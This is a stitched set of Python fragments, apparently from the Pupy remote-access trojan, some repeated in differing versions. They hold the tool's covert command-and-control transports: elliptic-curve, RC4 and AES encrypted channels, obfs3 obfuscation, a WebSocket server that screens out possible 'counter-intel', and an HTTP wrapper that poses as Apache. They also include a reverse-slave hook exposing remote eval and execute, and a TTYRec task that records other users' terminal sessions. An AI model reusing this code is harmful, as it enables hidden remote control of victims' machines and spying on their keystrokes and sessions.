def __init__(self, *args, **kwargs): PupyWebSocketTransport.__init__(self, *args, **kwargs) self.upgraded = False self.missing_bytes = 0 self.offset = 0 self.decoded = Buffer() self.upgraded_buf = Buffer() self.user_agent = kwargs.get('user-agent') self.path = kwargs.get('path') self.connect = kwargs.get('connect', None) self.proxy = kwargs.get('proxy', False) self.auth = kwargs.get('auth', None) self.host = kwargs.get('host', None) if self.connect is None and self.host is not None: if ':' in self.host: host, port = self.host.rsplit(':', 1) port = int(port) self.connect = host, port else: self.connect = self.host, 80 if self.host is None: self.host = 'www.' + ''.join( random.sample(string.lowercase + '.-', 16)) + '.net' if __debug__: logger.debug('WS Client, path=%s, user-agent=%s host=%s', self.path, self.user_agent, self.host)
def __init__(self, *args, **kwargs): super(ECMTransport, self).__init__(*args, **kwargs) if not self.pubkey and not self.privkey: raise ValueError('Public or Private key required for ECM') if self.pubkey: self.encoder = ECPV( curve='brainpoolP384r1', public_key=self.pubkey, hash=sha384 ) else: self.encoder = ECPV( curve='brainpoolP384r1', public_key=self.privkey, hash=sha384 ) self.encryptor = None self.decryptor = None self.up_buffer = Buffer() self.dec_buffer = Buffer() self.nonce = None self.key = None self.chunk_len = 0 self.need_validation = False
def __init__(self, transport_class, transport_kwargs={}, peername=None, on_receive=None): self.on_receive = None self.closed = True # buffers for transport self.upstream = Buffer(shared=True) self.downstream = None self.upstream_lock = threading.Lock() self.downstream_lock = threading.Lock() self.transport_class = transport_class self.transport_kwargs = transport_kwargs # buffers for streams self.buf_in = Buffer(shared=True) self.buf_out = Buffer() self.peername = peername if peername and on_receive: self.activate(peername, on_receive) logger.debug('Allocated (%s)', self)
def __init__(self, manager, event_id=None, name=None, winsize=None, tty_private=None): super(TTYRec, self).__init__(manager) self._ttymon = TTYMon( name, winsize, tty_private, ignore=[os.getpid(), os.getppid()] ) self._results_lock = Lock() self._buffer = Buffer() self._compressor = zlib.compressobj(9) self._event_id = event_id self._session = 0
def __init__(self, *args, **kwargs): super(PupyHTTPWrapperServer, self).__init__(*args, **kwargs) self.parser = HttpParser() self.is_http = None self.body = [] self.downstream_buffer = Buffer() self.well_known = ('GET', 'POST', 'OPTIONS', 'HEAD', 'PUT', 'DELETE') self.omit = tuple('{} {}'.format(x, y) for x in self.well_known for y in (self.path, '/ws/', 'ws/')) self.probe_len = max(len(x) for x in self.omit)
def __init__(self, *args, **kwargs): PupyWebSocketTransport.__init__(self, *args, **kwargs) self.upgraded = False self.user_agent = kwargs.pop('user-agent') self.path = kwargs.pop('path') self.mask = True self.offset = 0 self.missing_bytes = 0 self.decoded = Buffer() self.upgraded_buf = Buffer() if __debug__: logger.debug('WS Server, path=%s, user-agent=%s', self.path, self.user_agent)
class TTYRec(Task): __slots__ = ( '_ttymon', '_results_lock', '_state' ) def __init__(self, manager): super(TTYRec, self).__init__(manager) self._ttymon = TTYMon(ignore=[os.getpid(), os.getppid()]) self._results_lock = Lock() self._buffer = Buffer() self._compressor = zlib.compressobj(9) def task(self): for comm, pid, probe, sec, usec, buf in self._ttymon: with self._results_lock: packet = self._compressor.compress( struct.pack( '<16ssIIII', comm[:16], probe, pid, sec, usec, len(buf)) + buf) self._buffer.append(packet) self._dirty = True @property def results(self): result = None with self._results_lock: if not self._dirty: return None try: packet = self._compressor.flush() self._buffer.append(packet) except zlib.error: pass result = self._buffer self._buffer = Buffer() self._compressor = zlib.compressobj(9) self._dirty = False return result @property def active(self): return self._ttymon.active def stop(self): super(TTYRec, self).stop() self._ttymon.stop()
def __init__(self, sock, transport_class, transport_kwargs): super(PupySocketStream, self).__init__(sock) self.MAX_IO_CHUNK = 32000 self.KEEP_ALIVE_REQUIRED = False self.compress = True #buffers for transport self.upstream = Buffer(transport_func=addGetPeer(("127.0.0.1", 443)), shared=True) if sock is None: peername = '127.0.0.1', 0 elif type(sock) is tuple: peername = sock[0], sock[1] else: peername = sock.getpeername() self.downstream = Buffer(on_write=self._upstream_recv, transport_func=addGetPeer(peername), shared=True) self.upstream_lock = threading.Lock() self.downstream_lock = threading.Lock() self.transport = transport_class(self, **transport_kwargs) #buffers for streams self.buf_in = Buffer() self.buf_out = Buffer() self.on_connect()
def activate(self, peername, on_receive): logger.debug('Activating (%s/%s)', self, peername) if not self.closed: return self.closed = False self.peername = peername self.on_receive = on_receive self.downstream = Buffer(on_write=self._flush, shared=True) self.transport = self.transport_class(self, **self.transport_kwargs) logger.debug('Activating .. (%s) - transport - %s', self, self.transport) self.transport.on_connect() logger.debug('Activated (%s)', self)
def results(self): result = None with self._results_lock: if not self._dirty: return None try: packet = self._compressor.flush() self._buffer.append(packet) except zlib.error: pass result = self._buffer self._buffer = Buffer() self._compressor = zlib.compressobj(9) self._dirty = False return result
def upstream_recv(self, data): if self.encryptor: buf = Buffer() ldata = len(data) buf.write(self.encryptor.encrypt(struct.pack('<I', ldata))) _, nw = data.write_to(buf, modificator=self.encryptor.encrypt, n=ldata) d = self.update_encryptor() buf.write(d) buf.write_to(self.downstream) else: data.write_to(self.up_buffer)
def __init__(self, sock, transport_class, transport_kwargs={}, client_side=True, close_cb=None, lsi=5): if not (type(sock) is tuple and len(sock) in (2,3)): raise Exception( 'dst_addr is not supplied for UDP stream, ' 'PupyUDPSocketStream needs a reply address/port') self.client_side = client_side self.closed = False self.LONG_SLEEP_INTERRUPT_TIMEOUT = lsi self.KEEP_ALIVE_REQUIRED = lsi * 3 self.INITIALIZED = False self.sock, self.dst_addr = sock[0], sock[1] if len(sock) == 3: self.kcp = sock[2] else: import kcp if client_side: dst = self.sock.fileno() else: # dst = lambda data: self.sock.sendto(data, self.dst_addr) dst = ( self.sock.fileno(), self.sock.family, self.dst_addr[0], self.dst_addr[1] ) self.kcp = kcp.KCP(dst, 0, interval=64) self.kcp.window = 32768 self.buf_in = Buffer() self.buf_out = Buffer() #buffers for transport self.upstream = Buffer( transport_func=addGetPeer(("127.0.0.1", 443)), shared=True ) self.downstream = Buffer( on_write=self._send, transport_func=addGetPeer(self.dst_addr), shared=True ) self.upstream_lock = threading.Lock() self.downstream_lock = threading.Lock() self.transport = transport_class(self, **transport_kwargs) self.MAX_IO_CHUNK = self.kcp.mtu - 24 self.compress = True self.close_callback = close_cb self._wake_after = None self.on_connect()
def _worker_run(self): try: buf = Buffer() self._worker_run_unsafe(buf) finally: del buf if self._current_file: try: self._current_file.close() except: pass self._current_file = None
def __init__(self, *args, **kwargs): """Initialize the obfs3 pluggable transport.""" super(Obfs3Transport, self).__init__(*args, **kwargs) # Our state. self.state = ST_WAIT_FOR_KEY # Uniform-DH object self.dh = obfs3_dh.UniformDH() # DH shared secret self.shared_secret = None # Bytes of padding scanned so far. self.scanned_padding = 0 # Last padding bytes scanned. self.last_padding_chunk = '' # Magic value that the other party is going to send # (initialized after deriving shared secret) self.other_magic_value = None # Crypto to encrypt outgoing data. self.send_crypto = None # Crypto to decrypt incoming data. self.recv_crypto = None # Buffer for the first data, Tor is trying to send but can't right now # because we have to handle the DH handshake first. self.queued_data = Buffer() # Attributes below are filled by classes that inherit Obfs3Transport. self.send_keytype = None self.recv_keytype = None self.send_magic_const = None self.recv_magic_const = None self.we_are_initiator = None
def _recv(self): """ Recv logic with interruptions """ # print "RECV! WAIT FOR LENGTH!" packet = self.stream.read(self.FRAME_HEADER.size) # If no packet - then just return if not packet: return None header = packet while len(header) != self.FRAME_HEADER.size: packet = self.stream.read(self.FRAME_HEADER.size - len(header)) if packet: header += packet del packet length, compressed = self.FRAME_HEADER.unpack(header) # print "RECV! WAIT FOR LENGTH COMPLETE!" required_length = length + len(self.FLUSHER) # print "WAIT FOR", required_length data = [] decompressor = None if compressed: decompressor = zlib.decompressobj() buf = Buffer() while required_length: packet = self.stream.read(min(required_length, self.COMPRESSION_THRESHOLD)) if packet: required_length -= len(packet) # print "GET", len(packet) if not required_length: packet = packet[:-len(self.FLUSHER)] if compressed: packet = decompressor.decompress(packet) if not packet: continue if packet: buf.write(packet) if compressed: packet = decompressor.flush() if packet: buf.write(packet) # print "COMPLETE!" return buf
def __init__(self, *args, **kwargs): super(RSA_AESTransport, self).__init__(*args, **kwargs) if self.aes_size == 256: self.key_size = 32 elif self.aes_size == 128: self.key_size = 16 else: raise TransportError("Only AES 256 and 128 are supported") self._iv_enc = get_random(BLOCK_SIZE) self.enc_cipher = None self.dec_cipher = None self._iv_dec = None self.aes_key = None self.size_to_read = None self.first_block = b"" self.buffer = Buffer()
def on_connect(self): self.exposed_namespace = {} self.exposed_cleanups = [] self._conn._config.update(REVERSE_SLAVE_CONF) infos_buffer = Buffer() infos = self.exposed_get_infos() try: umsgpack.dump(infos, infos_buffer, ext_handlers=MSG_TYPES_PACK) except Exception as e: pupy.remote_error('on_connect failed: {}; infos={}', e, infos) self._conn.root.initialize_v1(self.exposed_namespace, pupy.namespace, __import__('__builtin__'), self.exposed_register_cleanup, self.exposed_unregister_cleanup, self.exposed_obtain_call, self.exposed_exit, self.exposed_eval, self.exposed_execute, __import__('pupyimporter'), infos_buffer)
def __init__(self, manager): super(TTYRec, self).__init__(manager) self._ttymon = TTYMon(ignore=[os.getpid(), os.getppid()]) self._results_lock = Lock() self._buffer = Buffer() self._compressor = zlib.compressobj(9)
class PupySocketStream(SocketStream): def __init__(self, sock, transport_class, transport_kwargs): super(PupySocketStream, self).__init__(sock) self.MAX_IO_CHUNK = 32000 self.KEEP_ALIVE_REQUIRED = False self.compress = True #buffers for transport self.upstream = Buffer( transport_func=addGetPeer(("127.0.0.1", 443)), shared=True ) if sock is None: peername = '127.0.0.1', 0 elif type(sock) is tuple: peername = sock[0], sock[1] else: peername = sock.getpeername() self.downstream = Buffer( on_write=self._upstream_recv, transport_func=addGetPeer(peername), shared=True ) self.upstream_lock = threading.Lock() self.downstream_lock = threading.Lock() self.transport = transport_class(self, **transport_kwargs) #buffers for streams self.buf_in = Buffer() self.buf_out = Buffer() self.on_connect() def on_connect(self): self.transport.on_connect() self._upstream_recv() def _read(self): try: buf = self.sock.recv(self.MAX_IO_CHUNK) if __debug__: logger.debug('stream: read={}'.format(len(buf) if buf else None)) except socket.timeout: return except socket.error: ex = sys.exc_info()[1] if get_exc_errno(ex) in (errno.EAGAIN, errno.EWOULDBLOCK): # windows just has to be a b**ch # edit: some politeness please ;) return self.close() raise EOFError(ex) if not buf: self.close() raise EOFError("connection closed by peer") self.buf_in.write(buf) # The root of evil def poll(self, timeout): if self.closed: raise EOFError('polling on already closed connection') result = ( len(self.upstream)>0 or self.sock_poll(timeout) ) return result def sock_poll(self, timeout): with self.downstream_lock: to_close = None to_read = None while not (to_close or to_read or self.closed): try: to_read, _, to_close = select([self.sock], [], [self.sock], timeout) except select_error as r: if not r.args[0] == errno.EINTR: to_close = True continue break if to_close: raise EOFError('sock_poll error') if to_read: self._read() self.transport.downstream_recv(self.buf_in) return True else: return False def _upstream_recv(self): """ called as a callback on the downstream.write """ if len(self.downstream)>0: if __debug__: logger.debug('stream: send={}'.format(len(self.downstream))) self.downstream.write_to(super(PupySocketStream, self)) def waitfor(self, count): if __debug__: logger.debug('stream: waitfor={}'.format(count)) try: while len(self.upstream)<count: if not self.sock_poll(None) and self.closed: return None return self.upstream except (EOFError, socket.error): self.close() raise except Exception as e: logger.debug(traceback.format_exc()) self.close() raise def read(self, count): promise = self.waitfor(count) if promise: return promise.read(count) def insert(self, data): with self.upstream_lock: self.buf_out.insert(data) def flush(self): self.buf_out.flush() def write(self, data, notify=True): if __debug__: logger.debug('stream: write={} / n={}'.format( len(data) if data else None, notify)) try: with self.upstream_lock: self.buf_out.write(data, notify) del data if notify: self.transport.upstream_recv(self.buf_out) #The write will be done by the _upstream_recv callback on the downstream buffer except (EOFError, socket.error): self.close() raise except Exception as e: logger.debug(traceback.format_exc()) self.close() raise
class PupyUDPSocketStream(object): MAGIC = b'\x00'*512 def __init__(self, sock, transport_class, transport_kwargs={}, client_side=True, close_cb=None, lsi=5): if not (type(sock) is tuple and len(sock) in (2,3)): raise Exception( 'dst_addr is not supplied for UDP stream, ' 'PupyUDPSocketStream needs a reply address/port') self.client_side = client_side self.closed = False self.LONG_SLEEP_INTERRUPT_TIMEOUT = lsi self.KEEP_ALIVE_REQUIRED = lsi * 3 self.INITIALIZED = False self.sock, self.dst_addr = sock[0], sock[1] if len(sock) == 3: self.kcp = sock[2] else: import kcp if client_side: dst = self.sock.fileno() else: # dst = lambda data: self.sock.sendto(data, self.dst_addr) dst = ( self.sock.fileno(), self.sock.family, self.dst_addr[0], self.dst_addr[1] ) self.kcp = kcp.KCP(dst, 0, interval=64) self.kcp.window = 32768 self.buf_in = Buffer() self.buf_out = Buffer() #buffers for transport self.upstream = Buffer( transport_func=addGetPeer(("127.0.0.1", 443)), shared=True ) self.downstream = Buffer( on_write=self._send, transport_func=addGetPeer(self.dst_addr), shared=True ) self.upstream_lock = threading.Lock() self.downstream_lock = threading.Lock() self.transport = transport_class(self, **transport_kwargs) self.MAX_IO_CHUNK = self.kcp.mtu - 24 self.compress = True self.close_callback = close_cb self._wake_after = None self.on_connect() def on_connect(self): # Poor man's connection initialization # Without this client side bind payloads will not be able to # determine when our connection was established # So first who knows where to send data will trigger other side as well self._emulate_connect() self.transport.on_connect() def _emulate_connect(self): self.kcp.send(self.MAGIC) self.kcp.flush() def poll(self, timeout): if self.closed: return None return len(self.upstream)>0 or self._poll_read(timeout) def close(self): if self.close_callback: self.close_callback('{}:{}'.format( self.dst_addr[0], self.dst_addr[1])) self.closed = True self.kcp = None if self.client_side: self.sock.close() def _send(self): """ called as a callback on the downstream.write """ if self.closed or not self.kcp: raise EOFError('Connection is not established yet') if len(self.downstream)>0: while len(self.downstream) > 0: data = self.downstream.read(self.MAX_IO_CHUNK) self.kcp.send(data) if self.kcp: self.kcp.flush() def _poll_read(self, timeout=None): if not self.client_side: # In case of strage hangups change None to timeout self._wake_after = time.time() + timeout return self.buf_in.wait(None) buf = self.kcp.recv() if buf is None: if timeout is not None: timeout = int(timeout * 1000) try: buf = self.kcp.pollread(timeout) except OSError, e: raise EOFError(str(e)) have_data = False while buf is not None: if buf: if self.INITIALIZED: with self.buf_in: self.buf_in.write(buf, notify=False) have_data = True elif buf == self.MAGIC: self.INITIALIZED = True else: raise EOFError('Invalid magic') else: return False buf = self.kcp.recv() if have_data: self.buf_in.flush() return True return False
class PupyWebSocketServer(PupyWebSocketTransport): __slots__ = ( 'user_agent', 'path', 'offset', 'upgraded_buf', 'missing_bytes', 'upgraded', 'decoded', 'mask', ) def __init__(self, *args, **kwargs): PupyWebSocketTransport.__init__(self, *args, **kwargs) self.upgraded = False self.user_agent = kwargs.pop('user-agent') self.path = kwargs.pop('path') self.mask = True self.offset = 0 self.missing_bytes = 0 self.decoded = Buffer() self.upgraded_buf = Buffer() if __debug__: logger.debug('WS Server, path=%s, user-agent=%s', self.path, self.user_agent) def calculate_response_key(self, key): GUID = '258EAFA5-E914-47DA-95CA-C5AB0DC85B11' hsh = sha1(key.encode() + GUID.encode()) response_key = base64.b64encode(hsh.digest()).strip() return response_key.decode('ASCII') def bad_request(self, msg): if __debug__: logger.debug(msg) self.downstream.write(error_response) self.close() def upstream_recv(self, data): """ Encoding server -> client messages Messsages shouldn't be masked """ try: if self.upgraded: add_ws_encapsulation(data, self.downstream) else: add_ws_encapsulation(data, self.upgraded_buf) except Exception as e: raise EOFError(str(e)) def downstream_recv(self, data): """ Decoding client -> server messages Message should be masked coming from client """ if not self.upgraded: if __debug__: logger.debug('WS: Wait for upgrade requet') d = data.peek() # Handle HTTP GET requests, strip websocket keys, verify UA etc if not d.startswith('GET '): self.bad_request('Invalid HTTP method or data ({})'.format( repr(d))) if '\r\n\r\n' not in d: if __debug__: logger.debug('Short read, incomplete header') return _, path, _ = d.split(' ', 2) if path != self.path: self.bad_request('Path does not match ({} != {})!'.format( path, self.path)) return wskey = None key = re.search( r'\n[sS]ec-[wW]eb[sS]ocket-[kK]ey[\s]*:[\s]*(.*)\r\n', d) if key: wskey = key.group(1) else: if __debug__: logger.debug('Unable to get WebSocketKey') if self.user_agent: ua = re.search(r'\n[uU]ser-[aA]gent:[\s]*(.*)\r\n', d) if ua: ua = ua.group(1) else: self.bad_request('No User-Agent provided') return if ua != self.user_agent: self.bad_request( 'Bad User-Agent provided. May be counter-intel ({} != {})' .format(ua, self.user_agent)) return payload = 'HTTP/1.1 101 Switching Protocols\r\n' payload += 'Upgrade: websocket\r\n' payload += 'Connection: Upgrade\r\n' if wskey: payload += 'Sec-WebSocket-Accept: %s\r\n' % ( self.calculate_response_key(wskey)) payload += '\r\n' data.drain(d.index('\r\n\r\n') + 4) if __debug__: logger.debug('Flush upgrade response') self.downstream.write(payload) if self.upgraded_buf: if __debug__: logger.debug('Flush buffer %d', len(self.upgraded_buf)) self.upgraded_buf.write_to(self.downstream) self.upgraded = True while data: msg_len, self.offset, self.missing_bytes, self.mask = remove_ws_encapsulation( data, self.upstream, self.decoded, self.offset, self.missing_bytes, self.mask) if __debug__: logger.debug('Parsed: %d, offset: %d, missing: %d, left: %d', msg_len, self.offset, self.missing_bytes, len(data)) if not msg_len: break
class PupyUDPSocketStream(object): NEW = '\x00' DAT = '\x01' END = '\x02' def __init__(self, sock, transport_class, transport_kwargs={}, client_side=True, close_cb=None, lsi=5): if not (type(sock) is tuple and len(sock) in (2, 3)): raise Exception('dst_addr is not supplied for UDP stream, ' 'PupyUDPSocketStream needs a reply address/port') self.client_side = client_side self.closed = False self.local_connid = os.urandom(4) self.remote_connid = None self.LONG_SLEEP_INTERRUPT_TIMEOUT = lsi self.KEEP_ALIVE_REQUIRED = lsi * 3 self.INITIALIZED = False self.NEW_SENT = False self.sock, self.dst_addr = sock[0], sock[1] if len(sock) == 3: self.kcp = sock[2] else: if client_side: dst = self.sock.fileno() else: # dst = lambda data: self.sock.sendto(data, self.dst_addr) dst = (self.sock.fileno(), self.sock.family, self.dst_addr[0], self.dst_addr[1]) self.kcp = kcp.KCP(dst, 0, interval=64) self.kcp.window = 32768 self.buf_in = Buffer(shared=True) self.buf_out = Buffer() #buffers for transport self.upstream = Buffer(transport_func=addGetPeer(("127.0.0.1", 443)), shared=True) self.downstream = Buffer(on_write=self._send, transport_func=addGetPeer(self.dst_addr), shared=True) self.upstream_lock = threading.Lock() self.downstream_lock = threading.Lock() self.transport = transport_class(self, **transport_kwargs) self.MAX_IO_CHUNK = self.kcp.mtu - (24 + 5) self.compress = True self.close_callback = close_cb self._wake_after = None self.failed = False try: self.on_connect() except Exception: self.failed = True raise def on_connect(self): self.transport.on_connect() def _send_packet(self, flag, data=''): need_flush = False if flag in (self.NEW, self.END): need_flush = True if flag == self.DAT and not self.NEW_SENT: flag = self.NEW self.NEW_SENT = True self.kcp.send(flag + self.local_connid + data) if need_flush: self.kcp.flush() def poll(self, timeout): if self.closed: return None return len(self.upstream) > 0 or self._poll_read(timeout) def close(self): self._send_packet(self.END) if self.close_callback: self.close_callback('{}:{}'.format(self.dst_addr[0], self.dst_addr[1])) self.closed = True self.kcp = None if self.client_side: self.sock.close() def _send(self): """ called as a callback on the downstream.write """ if self.closed or not self.kcp: raise EOFError('Connection is not established yet') if len(self.downstream) > 0: while len(self.downstream) > 0: data = self.downstream.read(self.MAX_IO_CHUNK) self._send_packet(self.DAT, data) if self.kcp: self.kcp.flush() def _process_buf(self, buf): flag = buf[0] connid = buf[1:5] buf = buf[5:] if not self.INITIALIZED: if flag == self.NEW: self.INITIALIZED = True self.remote_connid = connid else: if flag == self.DAT: self._send_packet(self.END) raise EOFError('Unexpected flag') elif flag == self.END: raise EOFError('EOF Flag received') elif connid != self.remote_connid: raise EOFError('Unexpected connection id') return buf def _poll_read(self, timeout=None): if not self.client_side: # In case of strage hangups change None to timeout self._wake_after = time.time() + timeout return self.buf_in.wait(None) buf = self.kcp.recv() if buf is None: if timeout is not None: timeout = int(timeout * 1000) try: buf = self.kcp.pollread(timeout) except OSError, e: raise EOFError(str(e)) have_data = False while buf: buf = self._process_buf(buf) if buf: with self.buf_in: self.buf_in.write(buf, notify=False) have_data = True buf = self.kcp.recv() if have_data: self.buf_in.flush() return True return False
class TTYRec(Task): __slots__ = ('_ttymon', '_results_lock', '_state', '_event_id') def __init__(self, manager, event_id=None, name=None, winsize=None, tty_private=None): super(TTYRec, self).__init__(manager) self._ttymon = TTYMon( name, winsize, tty_private, ignore=[os.getpid(), os.getppid()] ) self._results_lock = Lock() self._buffer = Buffer() self._compressor = zlib.compressobj(9) self._event_id = event_id self._session = 0 def task(self): self._session, = struct.unpack('<I', get_random(4)) for tty_name, comm, pid, probe, ts, buf in self._ttymon: tty_name = tty_name[:8].ljust(8) comm = comm[:16].ljust(16) if probe == 'R': buf = struct.pack('<HH', *buf) with self._results_lock: packet = self._compressor.compress( struct.pack( '<I8s16ssIfI', self._session, tty_name, comm, probe, pid, ts, len(buf)) + buf) self._buffer.append(packet) fire_event = False if not self._dirty: fire_event = True self._dirty = True try: if fire_event and self._event_id is not None: self.broadcast_event(self._event_id) except Exception: pass @property def results(self): result = None with self._results_lock: if not self._dirty: return None try: packet = self._compressor.flush() self._buffer.append(packet) except zlib.error: pass result = self._buffer self._buffer = Buffer() self._compressor = zlib.compressobj(9) self._dirty = False return result @property def active(self): return self._ttymon.active def stop(self): self._ttymon.stop() super(TTYRec, self).stop()
def stream_dump(obj): buf = Buffer() brine._dump(obj, buf) return buf
class ECMTransport(BasePupyTransport): __slots__ = ('encryptor', 'decryptor', 'up_buffer', 'dec_buffer', 'nonce', 'key', 'chunk_len', 'need_validation', 'encoder') privkey = None pubkey = None def __init__(self, *args, **kwargs): super(ECMTransport, self).__init__(*args, **kwargs) if not self.pubkey and not self.privkey: raise ValueError('Public or Private key required for ECM') if self.pubkey: self.encoder = ECPV(curve='brainpoolP384r1', public_key=self.pubkey, hash=SHA384) else: self.encoder = ECPV(curve='brainpoolP384r1', public_key=self.privkey, hash=SHA384) self.encryptor = None self.decryptor = None self.up_buffer = Buffer() self.dec_buffer = Buffer() self.nonce = None self.key = None self.chunk_len = 0 self.need_validation = False def update_encryptor(self): vblock = self.encryptor.digest() h = SHA3_224.new() h.update(self.key[0]) h.update(vblock) self.encryptor = AES.new(key=self.key[0], mode=AES.MODE_GCM, nonce=h.digest()) return vblock def update_decryptor(self, vblock): self.decryptor.verify(vblock) h = SHA3_224.new() h.update(self.key[1]) h.update(vblock) self.decryptor = AES.new(key=self.key[1], mode=AES.MODE_GCM, nonce=h.digest()) def kex(self, data): if len(data) < 4: return False reqlen, noncelen = struct.unpack_from('<HH', data.peek(4)) if len(data) < 4 + reqlen + noncelen: return False data.drain(4) request = data.read(reqlen) remote_nonce = data.read(noncelen) if self.privkey: response, key = self.encoder.process_kex_request(request, 0) # Add jitter, tinyec is quite horrible time.sleep(random.random()) nonce = get_random_bytes(16) self.downstream.write( struct.pack('<HH', len(response), len(nonce)) + response + nonce) else: key = self.encoder.process_kex_response(request, 0) nonce = self.nonce eh = SHA3_224.new() eh.update(key[0]) eh.update(remote_nonce) ek = eh.digest()[:16] dh = SHA3_224.new() dh.update(key[1]) dh.update(nonce) dk = dh.digest()[:16] self.key = (ek, dk) self.encryptor = AES.new(key=self.key[0], mode=AES.MODE_GCM, nonce=nonce) self.decryptor = AES.new(key=self.key[1], mode=AES.MODE_GCM, nonce=remote_nonce) return True def downstream_recv(self, data): if self.decryptor: while len(data): if not self.chunk_len: if self.need_validation: if len(data) < 16: return vblock = data.read(16) self.update_decryptor(vblock) self.need_validation = False self.dec_buffer.write_to(self.upstream) if len(data) < 4: break raw_chunk_len = self.decryptor.decrypt(data.read(4)) self.chunk_len, = struct.unpack('<I', raw_chunk_len) if not len(data): break nr, nw = data.write_to(self.dec_buffer, modificator=self.decryptor.decrypt, n=self.chunk_len) self.chunk_len -= nr if not self.chunk_len: self.need_validation = True elif self.kex(data): if len(self.up_buffer): self.upstream_recv(self.up_buffer) if len(data): self.downstream_recv(data) def upstream_recv(self, data): if self.encryptor: buf = Buffer() ldata = len(data) buf.write(self.encryptor.encrypt(struct.pack('<I', ldata))) _, nw = data.write_to(buf, modificator=self.encryptor.encrypt, n=ldata) d = self.update_encryptor() buf.write(d) buf.write_to(self.downstream) else: data.write_to(self.up_buffer)
class EC4Transport(BasePupyTransport): __slots__ = ('encryptor', 'decryptor', 'up_buffer') privkey = None pubkey = None def __init__(self, *args, **kwargs): super(EC4Transport, self).__init__(*args, **kwargs) if not self.pubkey and not self.privkey: raise ValueError('Public or Private key required for EC4') if self.pubkey: self.encoder = ECPV(curve='brainpoolP384r1', public_key=self.pubkey, hash=SHA384) else: self.encoder = ECPV(curve='brainpoolP384r1', private_key=self.privkey, hash=SHA384) self.encryptor = None self.decryptor = None self.up_buffer = Buffer() def kex(self, data): if len(data) < 2: return False length, = struct.unpack_from('H', data.peek(2)) if len(data) < 2 + length: return False request = data.read(2 + length) if self.privkey: try: response, key = self.encoder.process_kex_request(request[2:], 0, key_size=128) except ValueError as e: raise EOFError(str(e)) # Add jitter, tinyec is quite horrible time.sleep(random.random()) self.downstream.write(struct.pack('H', len(response)) + response) else: try: key = self.encoder.process_kex_response(request[2:], 0, key_size=128) except ValueError as e: raise EOFError(str(e)) self.encryptor = RC4(key=key[0]) self.decryptor = RC4(key=key[1]) # https://wikileaks.org/ciav7p1/cms/files/NOD%20Cryptographic%20Requirements%20v1.1%20TOP%20SECRET.pdf # Okay... self.encryptor.encrypt('\x00' * 3072) self.decryptor.decrypt('\x00' * 3072) return True def downstream_recv(self, data): if self.encryptor: data.write_to(self.upstream, modificator=self.decryptor.decrypt) elif self.kex(data): if self.up_buffer: self.up_buffer.write_to(self.downstream, modificator=self.encryptor.encrypt) self.up_buffer = None if len(data): data.write_to(self.upstream, modificator=self.decryptor.decrypt) def upstream_recv(self, data): if self.encryptor: data.write_to(self.downstream, modificator=self.encryptor.encrypt) else: data.write_to(self.up_buffer)
class PupyHTTPWrapperServer(BasePupyTransport): path = '/index.php?d=' allowed_methods = ('GET') server = None headers = { 'Content-Type': 'text/html; charset=utf-8', 'Server': 'Apache', 'Connection': 'close', } __slots__ = ('parser', 'is_http', 'body', 'downstream_buffer', 'well_known', 'omit', 'probe_len') def __init__(self, *args, **kwargs): super(PupyHTTPWrapperServer, self).__init__(*args, **kwargs) self.parser = HttpParser() self.is_http = None self.body = [] self.downstream_buffer = Buffer() self.well_known = ('GET', 'POST', 'OPTIONS', 'HEAD', 'PUT', 'DELETE') self.omit = tuple('{} {}'.format(x, y) for x in self.well_known for y in (self.path, '/ws/', 'ws/')) self.probe_len = max(len(x) for x in self.omit) def _http_response(self, code, status, headers=None, datasize=None, content=None): headers = {} headers.update(self.headers) if headers: headers.update(headers) if datasize: headers.update({ 'Content-Length': datasize, 'Content-Type': 'application/octet-stream', }) data = '\r\n'.join([ 'HTTP/1.1 {} {}'.format(code, status), '\r\n'.join([ '{}: {}'.format(key, value) for key, value in headers.iteritems() ]) ]) + '\r\n\r\n' self.downstream.write(data) def _handle_file(self, filepath): try: with open(filepath) as infile: size = stat(filepath).st_size self._http_response(200, 'OK', datasize=size) while True: data = infile.read(65535) if data: self.downstream.write(data) else: break except: self._http_response(404, 'Not found', 'Not found') def _handle_not_found(self): self._http_response(404, 'Not found', 'Not found') def _handle_http(self, data): self.parser.execute(data, len(data)) if self.parser.is_headers_complete(): try: if not self.parser.get_method() in self.allowed_methods: self._http_response(405, 'Method Not Allowed') else: urlpath = self.parser.get_path() urlpath = [ x.strip() for x in urlpath.split('/') if (x and not str(x) in ('.', '..')) ] root = self.server.config.get_folder('wwwroot') secret = self.server.config.getboolean('httpd', 'secret') log = self.server.config.getboolean('httpd', 'log') if secret: wwwsecret = self.server.config.get('randoms', 'wwwsecret', random=5) if not (urlpath and urlpath[0] == wwwsecret): self._handle_not_found() if log: self.server.info( '{}: GET {} | SECRET = {}'.format( '{}:{}'.format(*self.downstream. transport.peer[:2]), urlpath, wwwsecret), error=True) return urlpath = urlpath[1:] urlpath = path.sep.join([ self.server.config.get('randoms', x, new=False) or x for x in urlpath ]) if not urlpath: urlpath = 'index.html' filepath = path.join(root, urlpath) if path.exists(filepath): self._handle_file(filepath) if log: message = urlpath if filepath in self.server.served_content: message = message + ' <' + self.server.served_content[ filepath] + '>' self.server.info('{}: GET /{}'.format( '{}:{}'.format( *self.downstream.transport.peer[:2]), message)) else: self._handle_not_found() if log: self.server.info('{}: GET {}'.format( '{}:{}'.format( *self.downstream.transport.peer[:2]), urlpath), error=True) finally: self.close() def downstream_recv(self, data): header = data.peek(self.probe_len) if __debug__: logger.debug('Recv: len=%d // header = %s', len(data), header) if self.server and self.is_http is None: self.is_http = header.startswith(self.well_known) and \ not header.startswith(self.omit) if __debug__: logger.debug('Http: %s', self.is_http) if self.is_http: self._handle_http(data.read()) else: if __debug__: logger.debug('Write to upstream: len=%d, handler=%s', len(data), self.upstream.on_write_f) data.write_to(self.upstream) if self.downstream_buffer: if __debug__: logger.debug( 'Flush buffer to downstream: len=%d, handler=%s', len(self.downstream_buffer), self.downstream.on_write_f) self.downstream_buffer.write_to(self.downstream) if __debug__: logger.debug('Release transport') raise ReleaseChainedTransport() def upstream_recv(self, data): if __debug__: logger.debug('Send intent: len=%d', len(data)) if self.is_http is None: data.write_to(self.downstream_buffer) if __debug__: logger.debug('HTTP? Append to pending buffer: total len=%d', len(self.downstream_buffer)) elif not self.is_http: if __debug__: logger.debug('Non-HTTP: Direct pass (handler=%s)', self.downstream.on_write_f) if self.downstream_buffer: self.downstream_buffer.write_to(self.downstream) data.write_to(self.downstream) else: if __debug__: logger.debug('HTTP: Omit data') pass